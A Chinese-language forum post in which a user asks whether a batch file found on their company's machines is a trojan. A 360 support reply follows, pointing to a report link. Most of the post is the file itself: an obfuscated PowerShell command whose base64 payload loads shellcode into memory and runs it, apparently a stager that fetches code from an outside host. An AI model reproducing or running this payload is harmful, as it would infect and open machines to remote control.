疑似木马，请帮忙看看看

我们机器都被安装了一个文件mpws.bat，我用360没有扫描出来问题，但是用google的virustotal扫描提示有6个agent发现了木马，请帮忙核实下。
文件内容如下：

1. powershell /w 1 /C "sv BG -;sv Kj ec;sv oYL ((gv BG).value.toString()+(gv Kj).value.toString());powershell (gv oYL).value.toString() ('JABnAHUAPQAnACQARgBnAD0AJwAnAFsAVQBPAGEAKAAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAZwBKAFcAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBVAE8AYQAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABFAFgAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAVQBPAGEAKAAiAGsAZQByAG4AZQBsADMAMgAiACsAIgAuACIAKwAiAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABjAGsATgApADsAWwBVAE8AYQAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQARgBnAD0AJABGAGcALgByAGUAcABsAGEAYwBlACgAIgBFAFgAZAAiACwAIAAiAEMAcgBlAGEAdABlACIAKwAiAFQAIgArACIAaAByAGUAYQBkACIAKQA7ACQARgBnAD0AJABGAGcALgByAGUAcABsAGEAYwBlACgAIgBnAEoAVwAiACwAIAAiAGMAIgArACIAYQAiACsAIgBsAGwAbwBjACIAKQA7ACQARgBnAD0AJABGAGcALgByAGUAcABsAGEAYwBlACgAIgBVAE8AYQAiACwAIAAiAEQAbABsACIAKwAiAEkAIgArACIAbQBwAG8AcgB0ACIAKQA7ACQAeABoAD0AIgB8AGYAYwAsAHwAZQA4ACwAfAA4ADIALAB8ADAAMAAsAHwAMAAwACwAfAAwADAALAB8ADYAMAAsAHwAOAA5ACwAfABlADUALAB8ADMAMQAsAHwAYwAwACwAfAA2ADQALAB8ADgAYgAsAHwANQAwACwAfAAzADAALAB8ADgAYgAsAHwANQAyACwAfAAwAGMALAB8ADgAYgAsAHwANQAyACwAfAAxADQALAB8ADgAYgAsAHwANwAyACwAfAAyADgALAB8ADAAZgAsAHwAYgA3ACwAfAA0AGEALAB8ADIANgAsAHwAMwAxACwAfABmAGYALAB8AGEAYwAsAHwAMwBjACwAfAA2ADEALAB8ADcAYwAsAHwAMAAyACwAfAAyAGMALAB8ADIAMAAsAHwAYwAxACwAfABjAGYALAB8ADAAZAAsAHwAMAAxACwAfABjADcALAB8AGUAMgAsAHwAZgAyACwAfAA1ADIALAB8ADUANwAsAHwAOABiACwAfAA1ADIALAB8ADEAMAAsAHwAOABiACwAfAA0AGEALAB8ADMAYwAsAHwAOABiACwAfAA0AGMALAB8ADEAMQAsAHwANwA4ACwAfABlADMALAB8ADQAOAAsAHwAMAAxACwAfABkADEALAB8ADUAMQAsAHwAOABiACwAfAA1ADkALAB8ADIAMAAsAHwAMAAxACwAfABkADMALAB8ADgAYgAsAHwANAA5ACwAfAAxADgALAB8AGUAMwAsAHwAMwBhACwAfAA0ADkALAB8ADgAYgAsAHwAMwA0ACwAfAA4AGIALAB8ADAAMQAsAHwAZAA2ACwAfAAzADEALAB8AGYAZgAsAHwAYQBjACwAfABjADEALAB8AGMAZgAsAHwAMABkACwAfAAwADEALAB8AGMANwAsAHwAMwA4ACwAfABlADAALAB8ADcANQAsAHwAZgA2ACwAfAAwADMALAB8ADcAZAAsAHwAZgA4ACwAfAAzAGIALAB8ADcAZAAsAHwAMgA0ACwAfAA3ADUALAB8AGUANAAsAHwANQA4ACwAfAA4AGIALAB8ADUAOAAsAHwAMgA0ACwAfAAwADEALAB8AGQAMwAsAHwANgA2ACwAfAA4AGIALAB8ADAAYwAsAHwANABiACwAfAA4AGIALAB8ADUAOAAsAHwAMQBjACwAfAAwADEALAB8AGQAMwAsAHwAOABiACwAfAAwADQALAB8ADgAYgAsAHwAMAAxACwAfABkADAALAB8ADgAOQAsAHwANAA0ACwAfAAyADQALAB8ADIANAAsAHwANQBiACwAfAA1AGIALAB8ADYAMQAsAHwANQA5ACwAfAA1AGEALAB8ADUAMQAsAHwAZgBmACwAfABlADAALAB8ADUAZgAsAHwANQBmACwAfAA1AGEALAB8ADgAYgAsAHwAMQAyACwAfABlAGIALAB8ADgAZAAsAHwANQBkACwAfAA2ADgALAB8ADYAZQAsAHwANgA1ACwAfAA3ADQALAB8ADAAMAAsAHwANgA4ACwAfAA3ADcALAB8ADYAOQAsAHwANgBlACwAfAA2ADkALAB8ADUANAAsAHwANgA4ACwAfAA0AGMALAB8ADcANwAsAHwAMgA2ACwAfAAwADcALAB8AGYAZgAsAHwAZAA1ACwAfAAzADEALAB8AGQAYgAsAHwANQAzACwAfAA1ADMALAB8ADUAMwAsAHwANQAzACwAfAA1ADMALAB8ADYAOAAsAHwAMwBhACwAfAA1ADYALAB8ADcAOQAsAHwAYQA3ACwAfABmAGYALAB8AGQANQAsAHwANQAzACwAfAA1ADMALAB8ADYAYQAsAHwAMAAzACwAfAA1ADMALAB8ADUAMwAsAHwANgA4ACwAfAAxADMALAB8ADEAZAAsAHwAMAAwACwAfAAwADAALAB8AGUAOAAsAHwAYgAwACwAfAAwADAALAB8ADAAMAAsAHwAMAAwACwAfAAyAGYALAB8ADYAMwAsAHwAMwA3ACwAfAAzADMALAB8ADYAZAAsAHwANgA5ACwAfAA0ADYALAB8ADMAMgAsAHwANAA4ACwAfAA2ADUALAB8ADMANwAsAHwANABlACwAfAA0AGEALAB8ADcAOQAsAHwANAA1ACwAfAA2AGEALAB8ADQAYQAsAHwANAA2ACwAfAA1ADMALAB8ADUAOQAsAHwAMwAxACwAfAA1ADcALAB8ADUAMQAsAHwANwA3ACwAfAAzADgALAB8ADUAZgAsAHwANQAwACwAfAA2AGIALAB8ADYAZgAsAHwANQAwACwAfAAwADAALAB8ADUAMAAsAHwANgA4ACwAfAA1ADcALAB8ADgAOQAsAHwAOQBmACwAfABjADYALAB8AGYAZgAsAHwAZAA1ACwAfAA4ADkALAB8AGMANgAsAHwANQAzACwAfAA2ADgALAB8ADAAMAAsAHwAMwAyACwAfABlADAALAB8ADgANAAsAHwANQAzACwAfAA1ADMALAB8ADUAMwAsAHwANQA3ACwAfAA1ADMALAB8ADUANgAsAHwANgA4ACwAfABlAGIALAB8ADUANQAsAHwAMgBlACwAfAAzAGIALAB8AGYAZgAsAHwAZAA1ACwAfAA5ADYALAB8ADYAYQAsAHwAMABhACwAfAA1AGYALAB8ADYAOAAsAHwAOAAwACwAfAAzADMALAB8ADAAMAAsAHwAMAAwACwAfAA4ADkALAB8AGUAMAAsAHwANgBhACwAfAAwADQALAB8ADUAMAAsAHwANgBhACwAfAAxAGYALAB'+'8ADUANgAsAHwANgA4ACwAfAA3ADUALAB8ADQANgAsAHwAOQBlACwAfAA4ADYALAB8AGYAZgAsAHwAZAA1ACwAfAA1ADMALAB8ADUAMwAsAHwANQAzACwAfAA1ADMALAB8ADUANgAsAHwANgA4ACwAfAAyAGQALAB8ADAANgAsAHwAMQA4ACwAfAA3AGIALAB8AGYAZgAsAHwAZAA1ACwAfAA4ADUALAB8AGMAMAAsAHwANwA1ACwAfAAxADYALAB8ADYAOAAsAHwAOAA4ACwAfAAxADMALAB8ADAAMAAsAHwAMAAwACwAfAA2ADgALAB8ADQANAAsAHwAZgAwACwAfAAzADUALAB8AGUAMAAsAHwAZgBmACwAfABkADUALAB8ADQAZgAsAHwANwA1ACwAfABjAGQALAB8ADYAOAAsAHwAZgAwACwAfABiADUALAB8AGEAMgAsAHwANQA2ACwAfABmAGYALAB8AGQANQAsAHwANgBhACwAfAA0ADAALAB8ADYAOAAsAHwAMAAwACwAfAAxADAALAB8ADAAMAAsAHwAMAAwACwAfAA2ADgALAB8ADAAMAAsAHwAMAAwACwAfAA0ADAALAB8ADAAMAAsAHwANQAzACwAfAA2ADgALAB8ADUAOAAsAHwAYQA0ACwAfAA1ADMALAB8AGUANQAsAHwAZgBmACwAfABkADUALAB8ADkAMwAsAHwANQAzACwAfAA1ADMALAB8ADgAOQAsAHwAZQA3ACwAfAA1ADcALAB8ADYAOAAsAHwAMAAwACwAfAAyADAALAB8ADAAMAAsAHwAMAAwACwAfAA1ADMALAB8ADUANgAsAHwANgA4ACwAfAAxADIALAB8ADkANgAsAHwAOAA5ACwAfABlADIALAB8AGYAZgAsAHwAZAA1ACwAfAA4ADUALAB8AGMAMAAsAHwANwA0ACwAfABjAGQALAB8ADgAYgAsAHwAMAA3ACwAfAAwADEALAB8AGMAMwAsAHwAOAA1ACwAfABjADAALAB8ADcANQAsAHwAZQA1ACwAfAA1ADgALAB8AGMAMwAsAHwANQBmACwAfABlADgALAB8ADYAOQAsAHwAZgBmACwAfABmAGYALAB8AGYAZgAsAHwAMwA4ACwAfAAzADkALAB8ADIAZQAsAHwAMwAxACwAfAAzADQALAB8ADMANAAsAHwAMgBlACwAfAAzADIALAB8ADMANQAsAHwAMgBlACwAfAAzADUALAB8ADMANQAsAHwAMAAwACIAOwAkAEEAaQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AcABhAHMAcwAgAC0AbQAgACQARgBnACAALQBOAGEAbQBlACAAIgBsAFoAIgAgAC0AbgBhAG0AZQBzACAASwBxAHUAOwAkAEEAaQA9ACQAQQBpAC4AcgBlAHAAbABhAGMAZQAoACIASwBxAHUAIgAsACAAIgBXAGkAbgAzADIARgB1AG4AYwB0AGkAIgArACIAbwAiACsAIgBuAHMAIgApADsAWwBiAHkAdABlAFsAXQBdACQAeABoACAAPQAgACQAeABoAC4AcgBlAHAAbABhAGMAZQAoACIAfAAiACwAIgBtAHEAQQBtAHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACIAbQBxAEEAbQAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQARABCAD0AMAB4ADEAMAAwADkAOwBpAGYAIAAoACQAeABoAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADkAKQB7ACQARABCAD0AJAB4AGgALgBMAH0AOwAkAEoAQQA9ACQAQQBpADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAA5ACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABjAGsATgAgAD0AIAAwADsAZgBvAHIAKAAkAHYAVgA9ADAAOwAkAHYAVgAgAC0AbABlACgAJAB4AGgALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAdgBWACsAKwApAHsAJABBAGkAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABKAEEALgBUAG8ASQBuAHQAMwAyACgAKQArACQAdgBWACkALAAgACQAeABoAFsAJAB2AFYAXQAsACAAMQApAH0AOwAkAEEAaQA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABKAEEALAAgADAAeAAxADAAMAA5ACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABjAGsATgApADsAJABBAGkAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAAeAAwADAALAAkAEoAQQAsADAALAAwACwAMAApADsAJwA7ACQAcgBJAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABnAHUAKQApADsAJABFAGwAPQAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7ACQAcwBOAD0AIgBXAGkAbgBkAG8AdwBzACIAOwAkAHgAUQBBAE8AIAA9ACAAIgBDADoAXAAkAHMATgBcAHMAeQBzAHcAbwB3ADYANABcACQAcwBOACQARQBsAFwAdgAxAC4AMABcACQARQBsACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQARQBsAD0AIAAkAHgAUQBBAE8AfQA7ACQARwBVACAAPQAgACIAIAAkAEUAbAAgAC0AbgBvAGUAeABpAHQAIAAtAGUAIAAkAHIASQAiADsAaQBlAHgAIAAkAEcAVQA=')"

复制代码

您好 感谢您的反馈 请您直接可以在360平台举报处理 ：http://fuwu.360.cn/jubao/